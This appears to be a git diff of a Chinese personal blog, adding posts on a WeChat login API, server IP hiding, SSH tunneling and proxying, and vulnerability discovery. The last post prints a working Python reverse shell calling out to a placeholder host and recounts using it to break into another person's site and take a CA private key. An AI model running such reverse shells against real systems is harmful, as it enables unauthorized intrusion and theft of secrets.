echo file_get_contents('https://api.weixin.qq.com/cgi-bin/qrcode/create?access_token='.$_SESSION['access_token'], false, stream_context_create(array('http' => array('method'=>'POST','header'=>"Content-Type: application/json;charset=utf-8",'content'=>'{"expire_seconds": 3600, "action_name": "QR_STR_SCENE", "action_info": {"scene": {"scene_str": "auth'.$_GET["key"].'"}}}'))));
|
||||
}
|
||||
if ($_GET["action"] == "get") {
|
||||
if(isset($_SESSION['wxboxauth'.$_GET["key"]])){
|
||||
echo $_SESSION['wxboxauth'.$_GET["key"]];
|
||||
}else{
|
||||
echo "Empty";
|
||||
}
|
||||
}
|
||||
|
||||
}else{
|
||||
|
||||
$timestamp=$_GET["timestamp"];
|
||||
$nonce=$_GET["nonce"];
|
||||
$tmpArr=array($token, $timestamp, $nonce);
|
||||
sort($tmpArr, SORT_STRING);
|
||||
if( sha1(implode($tmpArr)) == $_GET["signature"] ){
|
||||
if($_GET["echostr"]){
|
||||
echo $_GET["echostr"];
|
||||
}else{
|
||||
// 加载XML内容
|
||||
$content = file_get_contents("php://input");
|
||||
$p = xml_parser_create();
|
||||
xml_parse_into_struct($p, $content, $vals, $index);
|
||||
xml_parser_free($p);
|
||||
if(($vals[$index['EVENT'][0]]['value'] == "subscribe" || $vals[$index['EVENT'][0]]['value'] == "SCAN") && isset($vals[$index['EVENTKEY'][0]]['value'])){
|
||||
if($vals[$index['EVENT'][0]]['value'] == "subscribe"){
|
||||
$vals[$index['EVENTKEY'][0]]['value'] = substr($vals[$index['EVENTKEY'][0]]['value'],8);
|
||||
}
|
||||
$_SESSION['wxbox'.$vals[$index['EVENTKEY'][0]]['value']] = $vals[$index['FROMUSERNAME'][0]]['value'];
|
||||
echo '<xml>
|
||||
<ToUserName><![CDATA['.$vals[$index['FROMUSERNAME'][0]]['value'].']]></ToUserName>
|
||||
<FromUserName><![CDATA['.$vals[$index['TOUSERNAME'][0]]['value'].']]></FromUserName>
|
||||
<CreateTime>'.time().'</CreateTime>
|
||||
<MsgType><![CDATA[text]]></MsgType>
|
||||
<Content><![CDATA[成功请求登录!]]></Content>
|
||||
</xml>';
|
||||
}else{
|
||||
echo "success";
|
||||
}
|
||||
}
|
||||
}else{
|
||||
echo "Fail";
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
# 使用文档
|
||||
## 接口调用方法
|
||||
|
||||
| 参数 | 是否必填 | 请求方法 | 内容 |
|
||||
| - | - | - | - |
|
||||
| action | 是 | GET | set/get |
|
||||
| key | 是 | GET | 6-32字节长度的随机字符串 |
|
||||
|
||||
## 说明
|
||||
开发者需要先使用set方法设置一个存储用户OPENID的盒子,使用key来命名,为了避免重复,这里推荐使用32位的UUID作为名称,请求完成之后会获得一个有效时长为1小时的二维码的ticket和二维码的地址,可以如果希望自己生成二维码,可以使用返回的URL作为二维码的内容,或者也可以调用微信的Ticket转二维码接口,在`https://mp.weixin.qq.com/cgi-bin/showqrcode?ticket=`后面加上获得的Ticket就可以直接获得二维码的图片。
|
||||
获取OPENID需要使用get方法去获得命名为key的盒子,如果用户已经扫描了二维码,那么调用此接口会直接返回扫描者的OPENID,如果没有扫描或者用户扫描后超过了2个小时,就会返回Empty,以表示盒子为空。
|
||||
## 使用示例
|
||||
像我之前写的[微信推送](/2021/03/23/wxpush.html)中不是就需要这个用户的OPENID嘛,假如一个网站想要主动给某些用户推送消息,就可以先调用这个接口获得用户的OPENID,然后存起来,有必要时可以直接使用微信推送来给用户推送信息。另外这个OPENID是唯一的,所以假如想做网站二维码扫描绑定登录同样也可以使用这个接口。具体实现就非常简单了,所以示例代码我就不写了。
|
||||
## 注意事项
|
||||
像这个代码依然不防滥用,并且我也没有检验过安全性,是有很大可能有漏洞的。所以有懂安全的大佬也可以指点一下,来完善这个项目。
|
37
_posts/2021-04-18-hide.md
Normal file
37
_posts/2021-04-18-hide.md
Normal file
@ -0,0 +1,37 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx的运维笔记 - 隐藏自己
|
||||
tags: [运维, 笔记, 隐藏]
|
||||
---
|
||||
|
||||
互联网是个很危险的地方……<!--more-->
|
||||
|
||||
# 起因
|
||||
最近几天我维护的花火学园貌似时不时的会爆内存……不过这倒是也是正常的事情,PHP好像默认情况下不会自己释放内存,我之前本来是想把那个运行模式改成ondemand,但是看网上说好像都不怎么推荐……但是既然已经爆了几次内存,那我也没得选了,就把运行模式改了。
|
||||
在检查服务器的这段时间里,我发现居然有一个不自量力的家伙在爆破我的服务器,看IP是159.89.47.109,随便访问了一下想不到上面还跑了个网站?不知道是这个网站被黑了变成肉鸡了还是这个网站的所有人确实脑子有问题……
|
||||
|
||||
# 解决IP泄露
|
||||
总之无论如何这已经证明了论坛的真实IP已经泄露了,因为我开了很多防火墙白名单,对网络流量这一块限制的很严格,所以正常情况下外面是不应该知道我的网站IP的,不过我的SSH端口虽然改了,但是因为我的位置经常在变,所以这个并没有设置白名单。
|
||||
不过还有一个可能性,最近貌似有个自称Tyosakuken FANZA的家伙给我们的运营商发了DMCA投诉,CloudFlare是真的会把真实IP告诉投诉者的。我不知道这个发投诉的人是个啥情况,总之这个公司貌似是日本的,先把日本的流量全封了再说。
|
||||
另外IP肯定是要改了,正好趁这个机会干脆再小幅度的升一下服务器的配置好了,之前一直用的是Vultr的Cloud Compute,这次试试High Frequency说不定速度会变快。于是我就用快照重新部署了一下服务器。结果在等它部署的期间居然睡着了😂,这下可用率又要掉了。
|
||||
不过SSH端口这个……我也不能每次要用的时候再去开它,那样很麻烦,所以……我想了想,要不然就用frp吧,直接不开放SSH端口,流量就从frp里经过,而且这个东西还支持访问验证,这样也能避免被扫了,不过我确实还是没办法确认这个东西的安全性,不知道这到底是提高了破解难度还是放了个定时炸弹……毕竟它是可以无视防火墙的啊。
|
||||
|
||||
# 更新快照脚本
|
||||
换了IP之后服务器的ID也跟着一起变了,我正打算改这个东西的时候发现Vultr怎么也变了,原来用的是SUBID,现在变成了实例ID了……当时我不是很精通API所以是从[网上随便找的脚本](/2020/06/17/backup.html),现在我用PHP调API调的也算熟练了吧,正好这次V1的API貌似要被废弃了,我就看看文档,整个V2的API吧。代码如下:
|
||||
```php
|
||||
<?php
|
||||
$api_key="APIKey";
|
||||
$instance_id="实例ID";
|
||||
|
||||
file_get_contents("https://api.vultr.com/v2/snapshots", false, stream_context_create(array('http' => array('method'=>'POST','header'=>"Content-Type: application/json;charset=utf-8\r\nAuthorization: Bearer ".$api_key,'content'=>'{"instance_id": "'.$instance_id.'"}'))));
|
||||
|
||||
$snapshot_list=json_decode(file_get_contents("https://api.vultr.com/v2/snapshots",false,stream_context_create(array('http' => array('method'=>'GET','header'=>"Authorization: Bearer ".$api_key)))),true);
|
||||
if($snapshot_list["meta"]["total"]>10){
|
||||
file_get_contents("https://api.vultr.com/v2/snapshots/".$snapshot_list["snapshots"][0]["id"],false,stream_context_create(array('http' => array('method'=>'DELETE','header'=>"Authorization: Bearer ".$api_key))));
|
||||
}
|
||||
```
|
||||
像这个也可以整合我之前写的[测试号通知](/2021/02/02/serverchan.html)或者[企业号通知](/2021/02/26/serverchancorp.html)来用,用之前记得加上addslashes,不然可能会出问题。
|
||||
另外这个V2的API貌似还是RESTful的呢,看起来倒是更简单易懂了。
|
||||
|
||||
# 总结
|
||||
总之在网上一定要注意网站安全,一旦有出问题的迹象要赶紧备份,有必要的情况该换IP就只能换了。
|
63
_posts/2021-05-07-ssh.md
Normal file
63
_posts/2021-05-07-ssh.md
Normal file
@ -0,0 +1,63 @@
|
||||
---
|
||||
layout: post
|
||||
title: 网络任意互联指南
|
||||
tags: [网络, SSH, 指南]
|
||||
---
|
||||
|
||||
SSH真的是太厉害了!<!--more-->
|
||||
|
||||
# 起因
|
||||
最近一段时间我对网络的各种连法很感兴趣,比如说内网穿透,端口映射或者说打隧道之类的。一般来说做这些事情应该都要装一些软件才行,不过最近我发现居然平时很常用的SSH竟然包含所有我想要的这些功能,真的是让我感觉很神奇。所以也许我已经火星了,但是今天我还是想记录一下。
|
||||
|
||||
# 万能的SSH
|
||||
如果你以为SSH就只是加密了的Telnet,那可真是大错特错,我感觉SSH想做的事情要更厉害,它可能是想做一个加密的TCP,上面可以跑各种应用,而且防火墙还不知道里面跑的内容是什么。
|
||||
不过最终它也没能取代TCP,毕竟它本来就是基于TCP的,而且其他很多功能用的人也很少,这让我感觉很可惜……不过确实,SSH啥都能干,就是速度慢了亿点点……
|
||||
所以我今天就来说一说它的功能和一些上位替代。
|
||||
## 内网穿透
|
||||
假如我有一台电脑在家,然后我还租了一个垃圾云服务器,服务器的性能很差但是家里的电脑性能很好。假如有一天我想在外面去玩我的电脑要怎么办呢?
|
||||
一般来说家里的电脑都是在内网之中,而服务器都是在公网,任何一个地方都能访问,现在我如果想访问家里的电脑直接连难度很大,几乎是做不到的对吧,于是这时候我们可以让家里的电脑去连服务器,这样我们就有一条链路连接到家里的电脑了,然后我们再用别的设备去连服务器,这样我们就能间接访问我们的电脑了。
|
||||
具体要怎么做呢?很简单,用SSH就能解决这个问题,首先一般服务器上都装的是Linux系统,一般都是自带OpenSSH的,而且还是SSH服务端,现在的Windows 10也是默认自带OpenSSH的,只不过是客户端。所以首先我们要做的就是用家里的电脑去连服务器。这时候的连接不能直接SSH连过去,普通的连没有任何作用,只是登录到远程服务器上了而已,我们必须要加上一些参数,就像这样:
|
||||
```
|
||||
ssh -R 3389:127.0.0.1:3389 root@remote-ip
|
||||
```
|
||||
执行这条指令之后系统仍然会正常的去连接到远程服务器上,但是你如果执行一下`netstat -nlp`的话,就可以发现SSH在本地也监听了一个3389的端口。不过默认的配置下SSH只会在服务器上映射这个端口,在服务器外是连不上的,另外如果说我只想穿透而不想打开服务器终端要该怎么办呢?
|
||||
首先默认不登录终端这个方法很简单,加点参数就可以,就像这样:
|
||||
```
|
||||
ssh -CfNR 3389:127.0.0.1:3389 root@remote-ip
|
||||
```
|
||||
这样启动穿透之后就不会在家里的电脑上一直开着服务器终端了,只会有一个黑框而已,当然因为用了`-f`参数,你即使把黑框关了也不会影响。另外还有就是映射到服务器外这个问题,其实这个问题也很好解决,在sshd配置文件里把`GatewayPorts no`改成`GatewayPorts yes`,设置好了之后别忘了在服务器的防火墙和服务器托管商的防火墙那里放行端口。
|
||||
## 端口映射
|
||||
假如上面的穿透你设置好了,但是你说你不知道sshd配置文件在哪里?防火墙关不掉?服务器不是你的?好家伙,那内网穿透还搞什么?没关系,SSH比你想象的要厉害,假如你没办法开服务器的端口,那你可以把服务器上面的端口映射到本机上。
|
||||
那么现在内网穿透已经搞好了,但是由于各种各样的原因你访问不到服务器的端口,这时候你在外面,可以在外面用电脑执行以下命令:
|
||||
```
|
||||
ssh -CfNL 3390:127.0.0.1:3389 root@remote-ip
|
||||
```
|
||||
这样一波操作,你家里的那台电脑上的3389端口就被映射到了你现在用的电脑上的3390端口了,当然效率很低这个没办法,毕竟SSH这些功能没有完全流行起来也是因为它的效率确实低,而且还容易断,也没个自带的断线重连……
|
||||
## 代理隧道
|
||||
虽然说我现在很想吐槽一下SSH并且想要赶紧说说它的一些上位替代,不过我还是先把所有的SSH厉害的功能讲完吧。
|
||||
SSH更厉害的功能就是随手开代理,又叫做动态端口映射,一般来说如果想要在服务器上配置一个代理很麻烦而且也很费时间,但是如果用SSH隧道开一个代理就只用一条命令,而且还不需要在服务器上做任何配置,真的是非常的方便。
|
||||
具体是什么命令呢?很简单,就是这样:
|
||||
```
|
||||
ssh -CfND 127.0.0.1:1080 root@remote-ip
|
||||
```
|
||||
执行这条命令之后就会在本机开一个监听地址为`127.0.0.1:1080`的socks5代理,你可以使用Proxifier之类的socks5客户端去连接它,然后就能直接通过这个代理用服务器上网了。假如你还想把这个代理共享给其他同在局域网的人用,可以把`127.0.0.1`改成`0.0.0.0`并且加一个`-g`的参数,这样同网络的人也就可以通过你的电脑连接到隧道上了。
|
||||
当然这个相比于上面那个端口映射要厉害一些,不过如果没有socks5客户端就只能用上面那个了。
|
||||
另外如果有国外的服务器,也可以使用这种方式穿过防火长城,而且因为它是走的SSH隧道,基本上很难通过流量分析看出来你在做什么,可惜就是效率太低,很慢,所以即使它抗封锁能力不错,但是用的人不是很多……
|
||||
所以呢,SSH作为系统自带的软件,功能已经是非常强大了,有这些功能基本上可以在一定程度上无视防火墙,随便穿,轻松透,而且再加上scp、sftp等功能,连接不同的电脑真的是从未如此轻松。
|
||||
很可惜,这么好的软件效率太低了,我试了一下用把同网络下的树莓派做成代理,速度基本上只能达到10Mbps左右,可能看1080p的直播没有问题,再高一些的蓝光视频还是不太行,会时不时的卡,另外就更不用说连接国外的服务器了,看网页确确实实没有问题,视频的话也只是勉强能看,体验还是不够好。虽然它作为默认安装的软件很不错,但是我们还是要考虑体验的嘛,所以我就来说说它的一些上位替代品吧。
|
||||
|
||||
# SSH部分功能的上位替代
|
||||
## 内网穿透
|
||||
假如想要自己做一个内网穿透,目前以我自己的感受来说,感觉还是[frp](https://github.com/fatedier/frp)最好用,应该说不愧是Golang写的程序,配置简单,即开即用。下载一个frps的程序放在公网的服务器上,基本上用默认的配置就可以直接使用,不过为了安全还是建议稍微改一改,默认情况下是没有验证和加密的。内网机器的话就用frpc连接就可以了,具体怎么搭建官方文档已经说的很清楚了,这里就不再多描述。另外如果没有公网服务器也可以试试SakuraFrp,不过他们家貌似看起来快凉了,国内节点要花1CNY实名认证,国外节点目前凉的差不多了,而且貌似经常受到攻击,现在想充钱也充不了,还是挺糟糕的。
|
||||
不过他们倒是挺良心的给了个[友商列表](https://www.natfrp.com/peer_vendors.php),如果自己没服务器的话用这些服务商也是个不错的选择。
|
||||
## 代理隧道
|
||||
要是整正儿八经的隧道,还是得用Shadowsocks或者是V2ray之类的,一是反检测还是很厉害的,二是效率高,这些隧道软件速度是真的没话说,确实相比SSH隧道而言要快很多。如果要搭Shadowsocks-libev可以看看[这篇文章](https://gfw.report/blog/ss_tutorial/zh/),V2ray的话GitHub上有很多那种一键脚本,直接用的话也没问题,包括也有更稳当的Cloudflare+ws+tls模式非常的不错。
|
||||
还有就是个人经验吧,如果真想好好上,最好不要自己租云服务器,因为大多数人没经验,不知道哪个线路好,搭出来性价比没有机场高,速度也没机场快,节点少,而且被封的成本更高,所以真要用还是去租机场比较合适。
|
||||
因为我实际上对搞这些隧道并没有什么特别厉害的经验 ~~(不然我为啥不去开机场😂?)~~ ,所以这里就不再过多描述了。
|
||||
|
||||
# 任意互联示例
|
||||
既然目前已经有办法任意访问或者映射端口,那么内网对于我们来说就不会有太多阻碍了(不过如果完全没有公网IP我确实真想不出来怎么搞,就是nat穿透还要一个接线的服务器)。这些东西假如以后打CTF还是蛮有用的,有时候CTF会特地出几个内网隔离的机器,要用跳板,除了用NC,SSH也算是个不错的选择了。有防火墙?直接把靶服务映射到自己机器上打,打起来和没防火墙一个手感。再不行直接代理接过去装作目标主机,扫描的时候也会方便很多。反弹shell连不到自己主机?把自己映射到跳板机上吧,各种连接轻松搞定。
|
||||
就是不打CTF,就说在外面突然想下论文,学校能上知网?挂个树莓派在学校,frp连到公网服务器,SSH隧道开代理,然后就能随便下论文了。
|
||||
|
||||
# 总结
|
||||
我现在又感觉互联的网络回来了,看来就是有内网、防火墙也阻挡不了两台逻辑上能连接的主机。SSH真的是很厉害啊……虽然我才知道这一点,不过这也就是学习的过程嘛,了解了这个也许对网络有了更深入的认识吧……
|
43
_posts/2021-05-15-vulnerability.md
Normal file
43
_posts/2021-05-15-vulnerability.md
Normal file
@ -0,0 +1,43 @@
|
||||
---
|
||||
layout: post
|
||||
title: 论如何发现一个计算机漏洞
|
||||
tags: [安全, 漏洞, 网络]
|
||||
---
|
||||
|
||||
网络安全?可不只是专业人员的事情。<!--more-->
|
||||
|
||||
# 起因
|
||||
一个月前我发现了Windows沙箱有个很严重的漏洞,害得我都不敢相信微软产品的安全性了……不过Windows沙箱还是挺好用的,我不希望因为这种安全问题就放弃它,所以我就向微软反馈了这个漏洞。
|
||||
于是昨两天,微软给我发邮箱说这个漏洞已经修好了,顺便感谢了一下我对微软产品安全性的贡献。虽然吧这个感谢也没给钱啥的,但是这个[漏洞的描述页面](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31208)能把我的名字写上去这个我还是挺高兴的。
|
||||
在我收到这个消息当天,我兴奋的顺手又黑掉了一个网站😂,难不成我的天赋在信息安全上?
|
||||
|
||||
# Windows沙箱的漏洞发现过程与复现方法
|
||||
在几个月前,我的电脑莫名其妙的被安装上了Microsoft Edge Beta版,我明明从来没有安装过,但是它就是莫名其妙的出现了。这么一安装,我的电脑就有了两个Edge浏览器。像我对电脑上面的东西还是有一点点的洁癖的,我不希望电脑上出现多余的东西,像这种出现两个Edge的问题我肯定是无法忍受。所以呢我就开始想方设法的卸载掉它。
|
||||
一般来说Edge Beta都是手动安装的,所以这种情况在“卸载或更改程序”里应该是可以发现的,但是这个是莫名其妙被安装上的,自然也就不会出现在那个列表之中。接下来我开始搜如何强行卸载掉Edge,网上搜到的答案一般就是在浏览器内核文件夹下找到`Installer`文件夹,然后在这个文件夹下执行命令`.\setup.exe --uninstall --system-level --verbose-logging --force-uninstall`就OK了。结果我明明是去的Beta版下的那个文件夹执行的这条命令,然后它把我正式版的Edge卸掉了……卸掉之后不仅留下了一个删不掉的图标,而且Beta版里也没有我的Cookie和插件……
|
||||
过了两天Windows更新了,更新之后正式版的又给我安装回来了……这真的是不知道怎么说……后来我下了一个Geek Uninstaller总算是把那个困扰我很长时间的Edge Beta卸载掉了。
|
||||
就以上这件事情搞的我很烦躁,烦躁之后就想发泄,发泄又不能对着我的电脑发泄,于是我就打开了Windows沙箱,把Windows沙箱里的Edge给卸载掉了。结果怎么着?我物理机上的Edge也不见了!这说明了啥问题?我在沙箱里做的操作竟然影响到了物理机?后来我经过测试发现,微软似乎把物理机里的`C:\Program Files (x86)\Microsoft\Edge\Application`文件夹映射到了沙箱里,而且没有做任何的限制。这可真是太可怕了,要知道沙箱相当于一个被信任执行危险东西的一个地方,那么使用它的人都是不会考虑里面运行的东西是不是安全的,看来阿三写的代码不行啊。假如我写一个程序,它把`msedge.exe`文件感染了,比如说加个壳啥的,物理机上用Edge的人应该也不少吧,至少市场占有率都已经超过Firefox了,那么在沙箱里Edge被感染的人在物理机上一旦运行,那么物理机将陷入危险的境地。
|
||||
最开始我发现了这个漏洞之后我是在反馈中心里提交的,不过那个看起来貌似一点点用都没有,微软是没有人会去看那个东西的,而且就算看到了也只会静悄悄的修复掉,你的反馈就和垃圾没什么区别。
|
||||
后来我在百度上搜怎么向微软提交漏洞,百度简直就是个垃圾,没有搜到一点点有用的信息,之后看了半天我看到有一个文章说可以给 <secure@microsoft.com> 发邮件来反馈BUG,于是我就用英文写了篇文章来报告这个BUG。
|
||||
不过我的方法并不正确,因为微软有专门反馈BUG的网站,也就是[Microsoft Security Response Center](https://www.microsoft.com/zh-cn/msrc/)。你如果直接用邮箱报告他们当然也会回复,但是大概率得不到奖金,因为人家的报告一般都有格式,自己写邮件肯定是不知道要按什么格式写。所以垃圾百度搜给微软报告漏洞根本找不到这个网站,还是我发了邮件之后才知道原来可以在这里报告,所以如果大家以后找到微软的漏洞想报告,千万不要用那个垃圾“反馈中心”,也不要发邮件,最好直接在[这里](https://msrc.microsoft.com/create-report)报告漏洞。
|
||||
另外还有个问题就是如果真的得到了奖金,拿到它也有点麻烦,因为微软不能说是让你发个支付宝收款码之类的,得先注册一个HackerOne或者Bugcrowd的账户,而且从国外提款很麻烦,所以如果不是那种经常能发现漏洞的,或者是在安全公司里的人,基本上这钱就还是别提了。
|
||||
## 复现的环境要求
|
||||
这个漏洞的大致使用方法读完上面的部分大家应该也都明白了吧,PoC?那种东西我怎么可能会写?傻子都知道怎么测试了吧?所以如果大家想复现这个漏洞首先需要运行在Windows 10的电脑上安装Windows沙箱,最早的有效版本我不太清楚,因为这个漏洞是微软把旧版的Edge完全从电脑上删除开始的,另外目前的话如果想要复现这个漏洞不能安装[KB5003173](https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB5003173)补丁,如果安装了貌似也可以卸载掉。所以以当前发布这篇文章的时间来看,只要在最新的Windows 10上卸载KB5003173补丁,然后安装Windows沙箱,就可以复现这个漏洞。
|
||||
## 人生中第一个自己贡献了的CVE
|
||||
看来[CVE-2021-31208](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31208)就是我贡献的了,以后只要在微软的[鸣谢列表](https://msrc.microsoft.com/update-guide/acknowledgement)里搜索Mayx就可以搜到我找到的漏洞了,虽然这个漏洞很简单,但是自己的名字能写到那个列表里也挺令人高兴的啊。
|
||||
|
||||
# 那天我黑掉的网站
|
||||
5月12日那天,有一名叫做[Kingfish404](https://github.com/Kingfish404)的人Fork了我的博客,结果第一眼看到了那个爬猎聘网的脚本,吓得我还以为这位是我的老师,因为最近我参与的一个项目就是去爬各种招聘网站。总之就是这些原因我对这个人产生了一点点兴趣,就看了看Ta的仓库。看着看着看到了一个可以[在线学习Python的网站源代码](https://github.com/Kingfish404/LearnPython),我很久以前就很想做一个开源的这种在线运行Python代码然后可以自动批阅的网站,就像Python123那样,就是因为他们那个服务要收费所以就想写个开源的,不过因为如果直接用Python在服务器上运行的话实在是太危险了,所以我想的是写一个使用Docker来运行Python并且评分的平台(也许可以用k8s?),可惜我水平有限,不怎么会用Docker所以就没再管了。但是今天既然看到了那不得拜读一下?结果发现这个人写的就是我说的那种危险方法运行Python脚本的,看了一下代码还用了一个漏洞百出的安全检查函数来防止攻击……总之既然有示例站我们就来搞搞试试看嘛。一般来说这种反弹shell绝对是简单的不得了,不过我也只是知道这个概念,怎么用我还是不太清楚。然后就搜了一下,看到了[这篇文章](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)。嗯……现实中攻击还是要比CTF中攻击有意思,然后我就在我的服务器上执行了一下`nc -lvvp 1234`,在它的代码执行框里执行:
|
||||
```python
|
||||
import socket,subprocess,os
|
||||
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
s.connect(("remote-ip",1234))
|
||||
os.dup2(s.fileno(),0)
|
||||
os.dup2(s.fileno(),1)
|
||||
os.dup2(s.fileno(),2)
|
||||
p=subprocess.call(["/bin/sh","-i"])
|
||||
```
|
||||
就这样我就成功的反弹了一个Shell,虽然吧Ta给的权限不高,但是下个CA证书的私钥还是轻轻松松的。后来我给这个人反馈了一下他就把网站关掉了。
|
||||
所以如果谁有兴趣想亲手试试看怎么反弹Shell也可以下载Ta的代码试一试。
|
||||
|
||||
# 总结
|
||||
从以上来看,想找漏洞绝不是一定要学过网络/信息安全的人才能干的事情,至少我不是信息安全专业的,所以只要有能注意到问题的思考方法,要正面面对问题,要刻意触发问题,知道问题出现在哪里,猜测问题可以做什么,那么谁都可以发现漏洞,虽然发现了也不能说是大神吧……但是你看看这把我的名字写到鸣谢里不挺让人开心的吗?
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user